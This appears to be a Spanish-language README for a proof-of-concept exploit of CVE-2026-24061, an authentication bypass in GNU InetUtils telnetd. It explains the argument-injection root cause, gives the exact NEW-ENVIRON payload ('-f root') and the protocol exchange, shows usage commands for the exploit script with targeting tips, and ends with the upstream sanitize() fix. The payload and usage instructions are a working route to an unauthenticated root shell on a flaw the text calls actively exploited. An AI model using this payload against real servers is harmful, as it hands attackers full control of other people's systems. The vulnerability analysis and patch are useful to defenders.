
Prueba de concepto de exploit para CVE-2026-24061, una omisión de autenticación en telnetd mediante inyección de argumentos en la variable de entorno USER, que permite acceso no autenticado a un shell root.
Inyección de argumentos en telnetd de GNU InetUtils. Versiones 1.9.3 a 2.7. CVSS 9.8. En CISA KEV desde el 26.01.2026, es decir, explotado activamente en la naturaleza.
Todo el truco consiste en que telnetd toma el valor de la variable de entorno USER del cliente a través de NEW-ENVIRON (RFC 1572) y lo inserta sin ninguna validación directamente en la invocación de login(1). Si el cliente envía USER="-f root", telnetd ejecutará:
/usr/bin/login -p -h <host> -f root
La bandera -f en login significa "iniciar sesión como este usuario sin contraseña". Shell de root, cero autenticación.
En telnetd/telnetd.c hay una plantilla de invocación de login:
char *login_invocation = PATH_LOGIN " -p -h %h %?u{-f %u}{%U}";
%u es el usuario de la autenticación telnet (confiable). %U es el valor crudo de la env USER del cliente (no confiable). Cuando la autenticación no está activa, se usa %U.
La expansión de variables está en telnetd/utility.c, función _var_short_name:
case 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
Cero filtrado. Cualquier cosa que el cliente envíe en USER va directo a la línea de comandos de login. No solo -f root funciona, teóricamente se puede inyectar cualquier argumento que login acepte.
El bug fue introducido en un commit de salvaguarda upstream del 2015-03-19 (fa3245ac). Irónicamente, ese commit pretendía mejorar el manejo de la variable USER. Debian tenía un parche para esto en 2019 (0028-telnetd-Scrub-USER-from-environment.patch), pero al corregir CVE-2020-10188 en Debian 10 el parche se perdió y el bug volvió. Así que también son vulnerables Debian 10+, Ubuntu y derivados.
main.py es un cliente telnet mínimo que:
IAC SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" IAC SElogin -f root, obtienes shellcliente servidor
|--- tcp connect ------------------->|
|<-- IAC DO NEW_ENVIRON -------------|
|--- IAC WILL NEW_ENVIRON ---------->|
|<-- IAC SB NEW_ENVIRON SEND --------|
|--- SB NEW_ENVIRON IS |
| VAR "USER" VALUE "-f root" |
| IAC SE ------------------------>|
| [telnetd: login -p -h x -f root]|
|<-- root@host:~# ------------------|
python3 main.py <host>
python3 main.py <host> -p <port>
Ctrl+C termina la sesión.
No intentes esto en sistemas que no tengan inetutils-telnetd. El paquete telnetd de netkit es otro código, no es vulnerable a este bug específico. Si te conectas y recibes un prompt de login normal en lugar de un shell, o el servidor ya tiene el parche, o no es telnetd de inetutils.
No cambies el payload a -f <otro_usuario> esperando que funcione en cualquier sistema. login(1) de algunas distribuciones tiene restricciones adicionales sobre -f. En Debian/Ubuntu estándar -f root funciona sin problemas.
| software | versiones |
|---|---|
| GNU InetUtils | 1.9.3 - 2.7 |
| Debian 10+ | inetutils-telnetd (hasta el parche) |
| Debian 11 | corregido en 2:2.0-1+deb11u3 |
| Ubuntu | inetutils-telnetd (hasta el parche) |
El fix oficial añade una función sanitize() que rechaza valores que comiencen con - o que contengan metacaracteres de shell. Aplicada a todas las variables en la expansión, no solo USER.
static char *
sanitize (const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
fd702c0 - parche USERccba9f7 - saneamiento de todas las variables